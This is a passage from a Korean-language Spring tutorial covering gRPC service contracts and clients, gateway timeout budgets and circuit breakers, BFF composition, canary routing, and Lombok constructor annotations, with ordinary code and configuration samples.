“결제가 안 돼요”라는 문의에 대응하는 방법. 사용자가 본 화면의 요청 ID 하나로 게이트웨이 → 주문 → 결제 → 알림 로그를 전부 이어 봅니다. 이게 없으면 서비스 10개의 로그를 시간으로 맞춰 가며 추측해야 합니다. 수집·대시보드 구성은 ⚡ 대규모 트래픽 탭 k14 에서 이어집니다.
MSA 로 나누면 반드시 필요해지는 셋 ① 서비스 디스커버리 — 서로를 찾는 방법 주소를 코드나 설정에 박아 두면 서버가 늘거나 옮길 때마다 배포해야 합니다 이름으로 찾게 만듭니다 — 쿠버네티스를 쓴다면 그 자체가 디스커버리 역할을 합니다 ② 설정 관리 — 값을 한 곳에서 서비스가 열 개면 같은 값을 열 곳에서 고쳐야 합니다 — 한 곳에 모으고 받아 쓰게 합니다 비밀값은 설정 서버가 아니라 시크릿 저장소에 두세요 ③ 분산 추적 — 요청 하나의 전 구간 요청마다 고유 ID 를 붙이고 서비스를 넘어갈 때 함께 전달합니다 그래야 "느린 건 알겠는데 어디가 느린가" 에 답할 수 있습니다 셋 다 없이 서비스를 나누면, 나누기 전보다 문제 찾기가 훨씬 어려워집니다
MSA 의 난이도는 코드가 아니라 보이지 않게 된 것을 다시 보이게 하는 비용입니다.
GW 10

gRPC — MSA 내부 통신

외부 공개는 REST, 서비스끼리는 gRPC. 그 경계선을 정합니다.

REST 와 무엇이 다른가

항목REST + JSONgRPC
전송HTTP/1.1 (보통)HTTP/2 — 멀티플렉싱·헤더 압축
페이로드텍스트 JSONprotobuf 바이너리 — 보통 3~10배 작음
계약문서·OpenAPI (선택).proto 가 곧 계약 ★ 코드가 생성됨
스트리밍SSE·WebSocket 별도양방향이 기본 기능
브라우저그냥 됨직접 안 됨 — grpc-web + 프록시 필요
디버깅curl 로 즉시grpcurl 필요 · 눈으로 못 읽음
HTTP/1.1  커넥션 하나에 요청 하나 — 키프얼라이브를 써도
          "앞 요청이 끝나야 다음"(head-of-line blocking)
HTTP/2    ★ 커넥션 하나 위에 스트림 수백 개를 동시에
          → 커넥션 풀 압박이 줄고, 헤더도 HPACK 으로 압축됩니다
          → 내부 홉이 많은 MSA 일수록 이득이 커집니다
“무조건 빠르다”가 아닙니다. 페이로드가 작고 호출이 드물면 체감 차이가 거의 없습니다. gRPC 의 실제 이득은 ① 스키마가 강제되어 필드 오타·타입 사고가 사라지는 것, ② 클라이언트 코드를 직접 안 짜도 되는 것, ③ 그다음이 성능입니다. 순서를 착각하면 도입 근거가 약해집니다.

.proto — 계약을 먼저 씁니다

syntax = "proto3";

package order.v1;                       // ★ 버전을 패키지에 넣습니다
option java_package = "com.company.grpc.order.v1";
option java_multiple_files = true;

import "google/protobuf/timestamp.proto";

service OrderService {
  rpc GetOrder     (GetOrderRequest)  returns (OrderResponse);              // 단항
  rpc ListOrders   (ListOrdersRequest) returns (stream OrderResponse);      // 서버 스트리밍
  rpc UploadEvents (stream OrderEvent) returns (UploadSummary);             // 클라 스트리밍
  rpc Sync         (stream OrderEvent) returns (stream OrderResponse);      // 양방향
}

message GetOrderRequest {
  int64 order_id = 1;                   // ★ 숫자는 "필드 번호" — 이름이 아니라 이걸로 인코딩
}

message OrderResponse {
  int64  order_id = 1;
  Status status   = 2;
  google.protobuf.Timestamp created_at = 3;
  repeated OrderItem items = 4;         // 리스트
  optional string memo = 5;             // "없음"과 "빈 문자열"을 구분하려면 optional
}

enum Status {
  STATUS_UNSPECIFIED = 0;               // ★ 0번은 반드시 비워 둡니다 (기본값 자리)
  STATUS_PAID = 1;
  STATUS_SHIPPED = 2;
}
// build.gradle.kts
plugins { id("com.google.protobuf") version "0.9.5" }

dependencies {
    // Spring Boot 4.1 이 gRPC 를 1급으로 자동 설정합니다 (Spring gRPC 1.1.0 + grpc-java 1.80)
    // 버전은 Boot BOM 이 관리하므로 적지 않습니다
    implementation("org.springframework.boot:spring-boot-starter-grpc-server")
    // 클라이언트 쪽은
    // implementation("org.springframework.boot:spring-boot-starter-grpc-client")
    // 테스트는
    // testImplementation("org.springframework.boot:spring-boot-starter-grpc-server-test")
}
protobuf {
    protoc { artifact = "com.google.protobuf:protoc:4.32.0" }
    plugins { create("grpc") { artifact = "io.grpc:protoc-gen-grpc-java:1.80.0" } }
    generateProtoTasks { all().forEach { it.plugins { create("grpc") } } }
}
// ./gradlew generateProto → build/generated 에 스텁 클래스가 생성됩니다
net.devh:grpc-spring-boot-starter 를 쓰던 자료가 아직 압도적으로 많습니다. 이 커뮤니티 스타터는 오랫동안 유지되지 않았고, Boot 4.1 부터 스프링이 gRPC 를 공식 지원하므로 신규 프로젝트는 공식 스타터로 가세요.
설정 접두사는 spring.grpc.server.* · spring.grpc.client.* (서버 기본 포트 9090) 이고, @GrpcService 는 org.springframework.grpc.server.service.GrpcService 입니다 — 애노테이션 이름은 같지만 패키지가 다르니 import 를 반드시 확인하세요.

서버 — 생성된 base 클래스를 구현

// import org.springframework.grpc.server.service.GrpcService;
@GrpcService                                   // Boot 4.1 공식 스타터
@RequiredArgsConstructor
@Slf4j
public class OrderGrpcService
        extends OrderServiceGrpc.OrderServiceImplBase {

    private final OrderQuery query;

    // ① 단항 — 요청 1 : 응답 1 (REST 와 같은 모양)
    @Override
    public void getOrder(GetOrderRequest req,
                         StreamObserver<OrderResponse> res) {
        var order = query.find(req.getOrderId())
            // .proto 의 enum Status 와 이름이 겹치므로 gRPC 상태는 전체 이름으로 씁니다
            .orElseThrow(() -> io.grpc.Status.NOT_FOUND
                .withDescription("주문을 찾을 수 없습니다: " + req.getOrderId())
                .asRuntimeException());

        res.onNext(toProto(order));            // 값 전달
        res.onCompleted();                     // ★ 반드시 호출 — 빼먹으면 클라가 영원히 대기
    }

    // ② 서버 스트리밍 — 대량 조회를 나눠 보냅니다 (메모리 폭발 방지)
    @Override
    public void listOrders(ListOrdersRequest req,
                           StreamObserver<OrderResponse> res) {
        try (var stream = query.streamByUser(req.getUserId())) {
            stream.forEach(o -> res.onNext(toProto(o)));
        }
        res.onCompleted();
    }

    // ③ 클라이언트 스트리밍 — 받는 쪽 Observer 를 "반환"합니다
    @Override
    public StreamObserver<OrderEvent> uploadEvents(StreamObserver<UploadSummary> res) {
        var n = new AtomicInteger();
        return new StreamObserver<>() {
            public void onNext(OrderEvent e) { ingest(e); n.incrementAndGet(); }
            public void onError(Throwable t) { log.warn("업로드 중단", t); }
            public void onCompleted() {
                res.onNext(UploadSummary.newBuilder().setAccepted(n.get()).build());
                res.onCompleted();
            }
        };
    }
    // ④ 양방향 — ③과 같은 모양에서 onNext 안에서 곧바로 res.onNext() 로 밀어 줍니다
}
# 공식 스타터는 spring.grpc.* 접두사입니다
# (grpc.server.* · grpc.client.* · static:// 는 net.devh 스타터 형식이라 무시됩니다)
spring:
  grpc:
    server:
      port: 9090                    # ★ HTTP(8080)와 별도 포트
    client:
      channels:
        inventory:
          address: "inventory:9090"         # K8s 면 dns:///inventory:9090
          negotiation-type: plaintext       # 내부망 · mTLS 면 tls
          enable-keep-alive: true
          keep-alive-time: 30s

클라이언트 · 데드라인 · 에러

@Service
public class InventoryClient {

    private final InventoryServiceGrpc.InventoryServiceBlockingStub stub;

    // 공식 스타터에는 net.devh 의 @GrpcClient 필드 주입이 없습니다 —
    // GrpcChannelFactory 로 채널을 만들어 스텁을 직접 생성합니다
    public InventoryClient(GrpcChannelFactory channels) {
        this.stub = InventoryServiceGrpc.newBlockingStub(
                channels.createChannel("inventory"));   // 위 yaml 의 채널 이름
    }

    public int stockOf(long itemId) {
        try {
            return stub.withDeadlineAfter(300, TimeUnit.MILLISECONDS)   // ★ 매 호출마다
                       .getStock(GetStockRequest.newBuilder()
                                 .setItemId(itemId).build())
                       .getQuantity();
        } catch (StatusRuntimeException e) {
            var code = e.getStatus().getCode();
            if (code == Status.Code.DEADLINE_EXCEEDED) throw new SlowUpstream();
            if (code == Status.Code.NOT_FOUND)          return 0;
            throw e;
        }
    }
}
// 가상 스레드(🧬 a08)를 쓰면 BlockingStub 로도 동시성이 충분히 나옵니다.
// 논블로킹이 필요하면 FutureStub / reactive-grpc 를 쓰세요.
gRPC 상태 코드대응 HTTP
INVALID_ARGUMENT400
UNAUTHENTICATED / PERMISSION_DENIED401 / 403
NOT_FOUND404
ALREADY_EXISTS / ABORTED409
DEADLINE_EXCEEDED504 — 가장 자주 봅니다
RESOURCE_EXHAUSTED429
UNAVAILABLE503 — 재시도해도 되는 유일한 축
데드라인은 전파됩니다. A→B→C 로 이어질 때 A 가 300ms 를 걸면 남은 시간이 B·C 에도 그대로 전달되어, 이미 늦은 요청을 더 처리하지 않습니다. REST 의 “각 구간이 각자 타임아웃” 보다 훨씬 안전합니다 — 타임아웃 없이 호출하지 마세요(⚡ k11).
재시도는 UNAVAILABLE 에만. INTERNAL·UNKNOWN 을 재시도하면 같은 사고를 두 번 냅니다. 쓰기 호출은 멱등 키를 함께 보내세요(⚡ k07).

스키마 진화 — 필드 번호가 전부입니다

message OrderResponse {
  int64  order_id = 1;
  string user_id  = 2;
  // string coupon_code = 3;      ← 삭제했습니다
  reserved 3;                     // ★ 번호를 예약해 재사용을 컴파일러가 막습니다
  reserved "coupon_code";         // 이름도 함께
  int64  amount = 4;
  string channel = 8;             // 새 필드는 "새 번호"로만
}
왜 번호를 재사용하면 안 되는가
  protobuf 는 이름이 아니라 "번호 + 타입"으로 인코딩합니다.
  3번을 string 에서 int64 로 바꿔 재사용하면,
  아직 옛 스키마를 쓰는 서비스는 그 바이트를 ★ 조용히 잘못 해석합니다.
  예외도 안 나고 로그도 안 남습니다 — 값만 틀립니다.
  (배포는 절대 동시에 끝나지 않으므로 구·신 버전은 반드시 공존합니다)

안전한 변경 ✅                      깨지는 변경 ❌
  · 새 필드 추가 (새 번호)             · 필드 번호 변경·재사용
  · 필드 삭제 후 reserved              · 타입 변경 (string ↔ int64)
  · 새 rpc 추가                        · rpc 이름·시그니처 변경
  · enum 값 추가 (끝에)                · required ↔ optional (proto2 잔재)
  · 필드 이름만 변경(권장 안 함)        · 패키지·서비스 이름 변경

★ proto3 는 "모르는 필드는 무시"가 기본이라
  신규 필드를 추가해도 구버전 클라이언트가 죽지 않습니다.
.proto 는 별도 저장소에서 버전 관리하세요. 서비스마다 복사해 두면 세 곳의 스키마가 미묘하게 달라집니다. Buf(buf lint·buf breaking)를 CI 에 넣으면 호환성을 깨는 PR 자체를 막을 수 있습니다. 큰 변경은 파일을 order/v2 로 새로 파고 두 버전을 한동안 함께 서빙하는 것이 정석입니다.

관측 — 인터셉터

// REST 의 필터(g05)에 해당합니다 — 로깅·인증·추적을 여기 한 곳에
// (공식 스타터의 전역 등록은 @GlobalServerInterceptor — net.devh 의 @GrpcGlobalServerInterceptor 가 아님)
// 주의: 서비스 메서드는 이 메서드와 다른 스레드에서 돌 수 있어 여기서 넣은 MDC 가
//       안 보이거나 남을 수 있습니다 — 실무에선 io.grpc.Context 에 담고 리스너를 감싸 옮깁니다
@Component
@GlobalServerInterceptor
@Slf4j
public class TraceServerInterceptor implements ServerInterceptor {

    static final Metadata.Key<String> TRACE =
        Metadata.Key.of("x-trace-id", Metadata.ASCII_STRING_MARSHALLER);

    @Override
    public <Q, R> ServerCall.Listener<Q> interceptCall(
            ServerCall<Q, R> call, Metadata headers, ServerCallHandler<Q, R> next) {

        MDC.put("traceId", Optional.ofNullable(headers.get(TRACE))
                                   .orElseGet(() -> UUID.randomUUID().toString()));
        long start = System.nanoTime();

        return next.startCall(new SimpleForwardingServerCall<Q, R>(call) {
            @Override public void close(Status status, Metadata trailers) {
                log.info("{} {} {}ms", call.getMethodDescriptor().getFullMethodName(),
                         status.getCode(), (System.nanoTime() - start) / 1_000_000);
                MDC.clear();
                super.close(status, trailers);
            }
        }, headers);
    }
}
// 인증도 같은 자리 — Metadata 의 authorization 을 읽어 Context 에 넣습니다.
// 게이트웨이가 검증한 X-User-Id 를 메타데이터로 넘기는 구성이 흔합니다(g05).
# 리플렉션 서비스를 켜 두면 .proto 없이 호출할 수 있습니다 (개발·스테이징만)
grpcurl -plaintext localhost:9090 list
grpcurl -plaintext -d '{"order_id":42}' localhost:9090 order.v1.OrderService/GetOrder

grpc_health_probe -addr=localhost:9090    # 표준 헬스체크 — K8s 프로브에 그대로
# 메트릭은 Micrometer 가 grpc_server_* 로 자동 수집합니다 (⚡ k14)
Spring Cloud Gateway 는 gRPC 를 그대로 프록시하지 않습니다. 외부 → 내부 경로에 gRPC 를 두려면 Envoy·Nginx(grpc_pass)·Istio 같은 HTTP/2 프록시나 grpc-web 트랜스코딩이 필요합니다. 게이트웨이는 REST 를 받아 내부에서 gRPC 로 바꿔 부르는 배치가 현실적입니다.
경계선 — 외부는 REST, 내부는 gRPC
✅ 내부 서비스 간 동기 호출이 많고 스키마를 강제하고 싶을 때
✅ 대량·실시간 스트리밍(시세·로그·진행률)
✅ 팀·언어가 갈려 있을 때 — .proto 하나로 클라이언트가 생성됩니다
❌ 브라우저·외부 파트너 공개 API — REST + OpenAPI 가 압도적으로 편합니다
❌ 서비스가 2~3개뿐 — 도구·학습 비용이 이득보다 큽니다
❌ 비동기로 풀어야 할 일 — 그건 gRPC 가 아니라 Kafka 입니다(⚡ k08). 동기 호출 체인이 길어지면 장애가 그대로 전파됩니다.
바깥은 REST, 안쪽은 gRPC — 흔한 구성입니다 REST + JSON 브라우저·외부 파트너가 바로 쓸 수 있습니다 눈으로 읽히고 curl 로 확인됩니다 텍스트라 크고, 규격이 문서와 어긋나기 쉽습니다 공개 API · 프런트엔드 통신 gRPC + Protobuf .proto 하나에서 양쪽 코드가 생성됩니다 이진 형식이라 작고 빠릅니다 · 스트리밍 지원 브라우저에서 직접 부르기 어렵습니다(프록시 필요) 서버 간 내부 통신 · 대량 호출 규격이 곧 계약입니다 .proto 를 고치면 양쪽 다 컴파일 에러로 드러납니다 필드 번호는 재사용하지 마세요 — 옛 클라이언트가 오해합니다 필드 추가는 안전, 삭제는 예약(reserved) 처리 도입 판단 서비스가 두세 개면 REST 로 충분합니다 호출이 잦고 지연이 문제일 때 그 구간만 바꾸세요 전부 바꾸는 결정은 운영 도구·디버깅 비용까지 함께 봅니다
고르는 기준은 성능이 아니라 누가 부르는가입니다.
바깥은 REST, 안쪽은 gRPC — 원이 곧 "누가 부르는가"입니다 브라우저 · 파트너 게이트웨이 · BFF 서비스 ↔ 서비스 바깥 경계 — REST + JSON 누구나 curl 로 부르고 눈으로 읽습니다 변환 지점 — REST 를 받아 gRPC 로 브라우저는 gRPC 를 직접 못 부릅니다 안쪽 — gRPC + Protobuf .proto 가 계약 · 이진이라 작고 빠름 .proto 를 고치면 양쪽 다 컴파일 에러로 드러납니다 — 필드 번호는 재사용 금지 서비스가 두세 개면 REST 로 충분합니다 — 호출이 잦은 구간만 안쪽 원으로 필드 추가는 안전, 삭제는 예약(reserved) 처리
고르는 기준은 성능이 아니라 누가 부르는가입니다.
GATEWAY 11

장애를 번지지 않게 — 타임아웃 예산 · 격벽

MSA 에서 서비스 하나가 느려지면 게이트웨이가 먼저 죽습니다. 스레드·커넥션이 그 서비스를 기다리다 전부 묶이기 때문입니다. 막는 방법은 기다리는 시간에 예산을 매기는 것입니다.

3초 하나를 쪼갭니다 — 막대는 0 에서 시작하는 각 구간의 타임아웃 0 1 s 2 s 3 s 사용자 3.0 s — 기다려 주는 한계 게이트웨이 2.5 s 서비스 2.0 s DB 쿼리 1.2 s — 가장 짧게 안으로 갈수록 짧게 — 바깥이 먼저 포기하면 안쪽은 헛일을 하고 재시도가 폭증합니다 안쪽 타임아웃 × 재시도 횟수가 바깥 예산을 넘지 않게 잡습니다
타임아웃은 구간마다 따로 정하는 값이 아니라 하나의 예산을 쪼개는 일입니다.

예산을 설정으로 못박기

spring:
  cloud:
    gateway:
      server:
        webflux:
          httpclient:
            connect-timeout: 500            # ms — 연결은 빨리 포기
            response-timeout: 2500ms        # 전체 상한
          routes:
            - id: order
              uri: lb://order-service
              predicates: [Path=/api/orders/**]
              metadata:
                response-timeout: 1200      # 라우트별로 더 짧게 조일 수 있다
                connect-timeout: 300
              filters:
                - name: CircuitBreaker
                  args: { name: orderCB, fallbackUri: forward:/fallback/order }
                - name: Retry
                  args:
                    retries: 1               # 1200ms × 2번 시도 + 백오프 ≈ 2.45s — 예산 2.5s 안
                    methods: GET             # ★ POST 는 재시도 금지 (중복 생성)
                    series: SERVER_ERROR
                    backoff: { firstBackoff: 50ms, maxBackoff: 300ms, factor: 2 }
재시도는 장애를 키우는 가장 흔한 원인입니다. 서비스가 느려서 5xx 가 뜨는데 게이트웨이가 3번씩 재시도하면 트래픽이 3배가 되어 회복을 막습니다. 재시도는 GET 에만 · 2회까지 · 지터를 넣어, 그리고 서킷 브레이커와 함께 씁니다.

격벽(bulkhead) — 한 서비스가 전부를 잠식하지 않게

// Resilience4j — 서비스(orderCB)마다 브레이커를 따로 둔다 — 한 곳이 열려도 다른 경로는 그대로
// (동시 호출 수 상한 자체는 Bulkhead 모듈로 따로 겁니다)
@Bean
public Customizer<Resilience4JCircuitBreakerFactory> cbConfig() {
    return factory -> factory.configure(builder -> builder
        // TimeLimiter 기본값은 1초 — 지정하지 않으면 라우트 타임아웃(1.2s)보다 먼저 끊습니다
        .timeLimiterConfig(TimeLimiterConfig.custom()
            .timeoutDuration(Duration.ofMillis(1200)).build())
        .circuitBreakerConfig(CircuitBreakerConfig.custom()
            .slidingWindowType(SlidingWindowType.TIME_BASED)
            .slidingWindowSize(10)              // 최근 10초를 본다
            .minimumNumberOfCalls(20)           // 표본이 적으면 판단하지 않는다
            .failureRateThreshold(50)           // 절반이 실패하면 연다
            .slowCallDurationThreshold(Duration.ofSeconds(1))
            .slowCallRateThreshold(60)          // ★ 느린 것도 실패로 센다
            .waitDurationInOpenState(Duration.ofSeconds(10))
            .permittedNumberOfCallsInHalfOpenState(5)
            .build())
        .build(), "orderCB");
}
  • 느린 호출을 실패로 세는 것이 핵심입니다 — 장애는 보통 에러가 아니라 지연으로 옵니다
  • 폴백은 “빈 값”이 아니라 의미 있는 응답으로 — 캐시된 직전 값, 축소된 기능, 명확한 안내
  • 서비스별 커넥션 풀을 분리하세요. 공유 풀은 한 곳이 다 먹습니다
  • 서킷이 열렸다는 사실을 메트릭·알림으로 반드시 노출하세요
부하가 한계를 넘으면 “거절”이 정답입니다. 모두를 느리게 받아 주는 것보다 일부를 빨리 429 로 돌려보내는 편이 전체 가용성을 지킵니다 — ⚡ 대규모 트래픽 탭의 부하 제어와 이어집니다.
GATEWAY 12

BFF · 무중단 전환 — 카나리 라우팅

화면 하나에 API 를 8번 호출하는 앱은 느립니다. 그리고 새 버전은 전부에게 한 번에 내보내면 안 됩니다. 게이트웨이가 두 문제를 함께 풉니다.

BFF — 화면 하나에 요청 하나

// 게이트웨이 뒤에 얇은 합성 계층을 둔다 (WebFlux)
@GetMapping("/bff/home")
public Mono<HomeView> home(@AuthenticationPrincipal Long uid) {
    Mono<Profile>      p = users.profile(uid)
                              .timeout(Duration.ofMillis(400))
                              .onErrorReturn(Profile.EMPTY);      // 없어도 화면은 뜬다
    Mono<List<Order>>  o = orders.recent(uid, 5)
                              .timeout(Duration.ofMillis(600))
                              .onErrorReturn(List.of());
    Mono<List<Banner>> b = cms.banners()
                              .timeout(Duration.ofMillis(300))
                              .onErrorReturn(List.of());

    return Mono.zip(p, o, b)                   // 셋을 동시에 — 순차 호출 금지
               .map(t -> new HomeView(t.getT1(), t.getT2(), t.getT3()));
}
  • 왕복 8번 → 1번. 모바일 회선에서 체감 차이가 가장 큽니다
  • 부분 실패를 허용하세요 — 배너가 없다고 홈이 안 뜨면 안 됩니다
  • BFF 는 클라이언트 종류별로 둡니다(웹·앱·파트너). 하나로 합치면 다시 비대해집니다
  • BFF 에 비즈니스 규칙을 넣지 마세요 — 조합·변환까지만

카나리 — 10%에게만 새 버전

// 가중치 라우팅: 같은 Path 를 두 그룹으로 나눈다
@Bean
public RouteLocator routes(RouteLocatorBuilder b) {
    return b.routes()
        .route("order-v2", r -> r.path("/api/orders/**")
            .and().weight("order", 10)                 // 10%
            .uri("lb://order-service-v2"))
        .route("order-v1", r -> r.path("/api/orders/**")
            .and().weight("order", 90)                 // 90%
            .uri("lb://order-service"))
        .build();
}
// 사내 사용자·특정 헤더만 먼저 (더 안전한 1단계)
// ★ 위 가중치 라우트보다 먼저 등록해야 합니다 — 뒤에 두면 가중치 라우트가 먼저 가져갑니다
.route("order-beta", r -> r.path("/api/orders/**")
    .and().header("X-Beta", "true")
    .uri("lb://order-service-v2"))
가중치는 “요청” 기준이지 “사람” 기준이 아닙니다. 같은 사용자가 새로고침할 때마다 v1·v2 를 오가면 화면이 널뛰고 캐시가 깨집니다. 사용자 단위로 고정하려면 userId 해시로 분기하는 필터를 직접 두세요.
카나리의 목적은 “배포”가 아니라 “관측”입니다. v2 의 에러율·p99·비즈니스 지표를 v1 과 나란히 볼 수 없다면 비율을 올릴 근거가 없습니다. 대시보드를 먼저 만들고 트래픽을 흘리세요.
카나리 — 일부에게만 먼저 보내고 지켜봅니다 게이트웨이 — 가중치 분배 기존 버전 대부분의 사용자는 평소와 같습니다 문제가 나도 영향이 적습니다 새 버전 (카나리) 오류율과 응답 시간을 지켜봅니다 이상하면 비율을 0 으로 지표가 괜찮으면 비율을 올립니다 — 막대 길이가 곧 트래픽 비율입니다 1단계 기존 95% 5% 2단계 75% 25% 3단계 50% 50% 4단계 새 버전 100% — 배포 완료 0 25 50 75 100 새 버전에 보내는 트래픽 비율(%) 버전별로 나눠 볼 수 있는 지표가 없으면 카나리는 의미가 없습니다 — 그것부터 준비하세요 전제 — 두 버전이 함께 도는 동안 DB 스키마가 양쪽에서 모두 동작해야 합니다 특정 사용자에게만 보내는 방식도 있습니다 — 헤더나 쿠키로 내부 직원부터 태우는 흐름
배포의 목표는 무사히 나가는 것이 아니라 문제를 작게 발견하는 것입니다.
LOMBOK · LOG4J2 · POI · XML · TEST

실무에서
진짜 많이 쓰는
것들만

“엑셀로 뽑아 주세요”, “로그 좀 남겨 주세요”, “이 XML 좀 읽어 주세요”. 현업에서 가장 자주 받는 요청들을 복붙해서 바로 도는 코드로 정리했습니다.

17SECTIONS
POI엑셀 표준
100만+행 스트리밍 처리
4XML 파싱 방식
TOOL 01

Lombok — 보일러플레이트 제거

자바의 “장황함” 절반을 없애 줍니다. 다만 아무 데나 쓰면 사고가 납니다.

compileOnly("org.projectlombok:lombok") · annotationProcessor("org.projectlombok:lombok")
테스트에서도 쓰려면 testCompileOnly · testAnnotationProcessor 도 함께. IDE 에는 Lombok 플러그인 + Annotation Processing 활성화가 필요합니다.

자주 쓰는 애너테이션

애너테이션생성되는 것
@Getter / @Settergetter / setter
@RequiredArgsConstructorfinal 필드 생성자 — DI 에 필수
@NoArgsConstructor기본 생성자 (JPA 필요)
@AllArgsConstructor전체 필드 생성자
@ToStringtoString()
@EqualsAndHashCodeequals / hashCode
@Builder빌더 패턴
@Slf4jprivate static final Logger log
@Value불변 클래스 (전부 final)
@Data위의 여러 개를 한 번에 — 주의
@Service
@RequiredArgsConstructor        // ★ 스프링 빈에는 이것만
@Slf4j                          // ★ 로거
public class OrderService {
    private final OrderRepository repository;   // 생성자 자동 생성
    private final Notifier notifier;

    public void pay(Long id) {
        log.info("결제 시작 id={}", id);         // log 를 바로 사용
    }
}

@Builder 제대로 쓰기

@Getter
@Builder
@NoArgsConstructor(access = AccessLevel.PROTECTED)
@AllArgsConstructor(access = AccessLevel.PRIVATE)
public class Order {
    private Long id;
    private String customerName;

    @Builder.Default                       // ★ 기본값은 이걸 붙여야 살아남음
    private OrderStatus status = OrderStatus.CREATED;

    @Builder.Default
    private List<OrderItem> items = new ArrayList<>();
}

Order o = Order.builder()
        .customerName("김현우")
        .build();                          // status = CREATED ✅

// 기존 객체에서 일부만 바꿔 새로 만들기
@Builder(toBuilder = true)
public class Order { ... }

Order changed = o.toBuilder().customerName("이서연").build();
Lombok 사고 3대장
① 엔티티에 @Data·@ToString 금지 — 연관 엔티티를 따라가며 무한 순환과 N+1이 납니다. 꼭 쓰려면 @ToString(exclude = "orders").
② 엔티티에 @Setter 금지 — 아무 데서나 상태가 바뀌면 도메인 규칙을 지킬 수 없습니다.
③ @EqualsAndHashCode 전체 필드 사용 금지 — 엔티티는 ID 기준으로만. @EqualsAndHashCode(of = "id")

생성자 3종 — 누구를 인자로 가져가나 🟢 기초

이름이 길어서 헷갈리지만 읽어 보면 뜻이 그대로 들어 있습니다. @NoArgsConstructor(노 아그스 컨스트럭터)는 “인자 없는 생성자”, @RequiredArgsConstructor(리콰이어드 아그스 컨스트럭터)는 “꼭 필요한 인자만 받는 생성자”, @AllArgsConstructor(올 아그스 컨스트럭터)는 “모든 필드를 받는 생성자”입니다. 현업에서는 줄여서 노아그 · 리콰이어드 · 올아그라고 부릅니다. 핵심은 “꼭 필요한”의 기준이 final 과 @NonNull이라는 점입니다.

필드 종류 × 생성자 어노테이션 — 칸이 진하면 인자로 받습니다 @NoArgsConstructor @RequiredArgsConstructor @AllArgsConstructor final 필드 (초기화 안 함) 컴파일 오류 * 인자로 받음 인자로 받음 @NonNull 필드 제외 (검사 없음) 인자 + null 검사 인자 + null 검사 일반 필드 (final 아님) 제외 제외 인자로 받음 final 필드 (= 값으로 초기화) 제외 제외 제외 static 필드 제외 제외 제외 * force = true 를 주면 final 필드를 0 · null · false 로 채워 컴파일됩니다 인자 순서는 언제나 필드를 선언한 순서 그대로입니다
생성자 3종 — 리콰이어드는 final·@NonNull 만, 올아그는 static·초기화된 final 을 뺀 전부를 받습니다.
어노테이션 (읽는 법)인자로 받는 필드final 규칙@NonNull 규칙주 용도
@NoArgsConstructor
노 아그스 컨스트럭터
없음초기화 안 된 final 이 있으면 컴파일 오류 — force = true 면 기본값으로 채움검사 안 함JPA 엔티티 · Jackson 역직렬화
@RequiredArgsConstructor
리콰이어드 아그스 컨스트럭터
초기화 안 된 final + @NonNull 필드초기화된 final 은 제외if (x == null) throw new NullPointerException(...) 삽입스프링 생성자 주입
@AllArgsConstructor
올 아그스 컨스트럭터
static 과 초기화된 final 을 뺀 전부초기화 안 된 final 포함null 검사 삽입@Builder 의 짝 · 테스트 픽스처

이렇게 쓰면

@RequiredArgsConstructor
@AllArgsConstructor
public class Member {
    private static final int MAX = 10;   // static → 모두 제외
    private final Long id;               // final(미초기화) → 리콰이어드 O
    @NonNull private String name;        // @NonNull → 리콰이어드 O + null 검사
    private String nickname;             // 일반 → 올아그만
    private final String role = "USER";  // 초기화된 final → 모두 제외
}

실제로 생성되는 코드 (델롬복 결과)

// @RequiredArgsConstructor
public Member(Long id, @NonNull String name) {
    if (name == null) {
        throw new NullPointerException("name is marked non-null but is null");
    }
    this.id = id;
    this.name = name;
}

// @AllArgsConstructor  (role · MAX 는 없음)
public Member(Long id, @NonNull String name, String nickname) {
    if (name == null) {
        throw new NullPointerException("name is marked non-null but is null");
    }
    this.id = id;
    this.name = name;
    this.nickname = nickname;
}
필드 순서 = 인자 순서 — 같은 타입 필드 둘(String name, String email)의 선언 순서를 바꾸면 new Member(id, "a@b.com", "홍길동") 같은 호출이 컴파일은 되는데 값이 뒤바뀝니다. 올아그 생성자를 직접 부르는 코드가 많다면 @Builder 로 바꾸는 편이 안전합니다.

긴 옵션들 — 괄호 안의 한 줄마다 이유가 있다 🟡 중급

실무 코드에서 보는 롬복 어노테이션은 대부분 괄호가 붙어 있습니다. 하나씩 무엇을 만들어 주나 → 생성되는 코드 → 언제 쓰고 언제 피하나 순서로 봅니다.

① @NoArgsConstructor(access = AccessLevel.PROTECTED)

읽는 법: “노아그 컨스트럭터, 액세스 레벨 프로텍티드”. JPA 엔티티의 표준 관례입니다.

@Entity
@Getter
@NoArgsConstructor(access = AccessLevel.PROTECTED)
public class Order { ... }

// ↓ 생성되는 코드
protected Order() {
}
왜 protected 인가 — ① JPA 명세가 엔티티에 public 또는 protected 기본 생성자를 요구합니다(리플렉션으로 빈 객체를 만든 뒤 값을 채움). ② 하이버네이트의 지연 로딩 프록시는 엔티티를 상속한 클래스라서 부모 생성자를 부를 수 있어야 합니다 — private 이면 막힙니다. ③ public 이면 아무 데서나 new Order() 로 빈 껍데기 엔티티를 만들 수 있습니다. protected 는 이 둘 사이의 타협점입니다.

② @AllArgsConstructor(staticName = "of")

읽는 법: “올아그 컨스트럭터, 스태틱 네임 오브”. 생성자를 private 으로 숨기고 정적 팩토리를 만듭니다.

@Getter
@AllArgsConstructor(staticName = "of")
public class Money {
    private final long amount;
    private final String currency;
}

// ↓ 생성되는 코드
private Money(long amount, String currency) { ... }

public static Money of(long amount, String currency) {
    return new Money(amount, currency);
}

Money m = Money.of(1000, "KRW");   // List.of 와 같은 읽기 감각
쓸 때 — 값 객체(Money, Point)처럼 인자가 2~3개이고 순서가 분명할 때. 피할 때 — 인자가 4개를 넘거나 같은 타입이 연달아 나오면 @Builder 가 낫습니다. @RequiredArgsConstructor(staticName = "of") 도 똑같이 동작합니다.

③ @RequiredArgsConstructor(onConstructor_ = @Autowired)

읽는 법: “온 컨스트럭터 언더바”. 생성된 생성자에 어노테이션을 붙여 달라는 옵션입니다. 이름 끝의 _ 는 javac 8 이상에서 쓰는 문법 우회용 표기입니다.

// 옛날 코드에서 자주 보임
@Service
@RequiredArgsConstructor(onConstructor_ = @Autowired)
public class PayService {
    private final PayClient client;
}

// ↓ 생성되는 코드
@Autowired
public PayService(PayClient client) {
    this.client = client;
}
이제는 필요 없습니다 — 스프링 4.3 부터 생성자가 하나뿐이면 @Autowired 없이도 자동 주입합니다. 새 코드에서는 그냥 @RequiredArgsConstructor 만 쓰세요. 생성자가 둘 이상인 클래스에서만 의미가 있는데, 그런 빈은 설계부터 다시 보는 게 맞습니다.

④ @Builder(toBuilder = true) · @Builder.Default

